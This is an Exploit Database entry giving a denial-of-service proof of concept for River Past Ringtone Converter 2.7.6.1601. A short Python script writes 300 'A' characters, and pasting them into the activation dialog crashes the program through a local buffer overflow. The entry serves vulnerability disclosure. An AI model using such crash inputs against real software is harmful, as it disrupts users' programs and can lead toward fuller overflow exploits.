

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

River Past Ringtone Converter 2.7.6.1601 - Denial of Service (PoC)

EDB-ID:

46312

CVE:

N/A

EDB Verified: ✗

Author:

[RAFAEL PEDRERO](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-02-04

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: River Past Ringtone Converter v2.7.6.1601 - Denial of
Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.riverpast.com/
# Software Link : http://www.riverpast.com/
# Tested Version: v2.7.6.1601
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run RingtoneConverter.exe
# 2.- copy content RingtoneConverter_Crash.txt to clipboard (result from
this python script)
# 3.- Go to "Help" - "Activate..." and paste the result in the "Email"
textbox and "Activation code" textarea.
# 4.- Click in Activate button and you will see a crash.
```

```
#!/usr/bin/env python
```

```
crash = "\x41" * 300
f = open ("RingtoneConverter_Crash.txt", "w")
f.write(crash)
f.close()
```

Tags: [Denial of Service \(DoS\)](#)
[Buffer Overflow](#)

Advisory/Source: [Link](#)

[Databases](#) ▾[Links](#) ▾[Sites](#) ▾[Solutions](#) ▾

EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.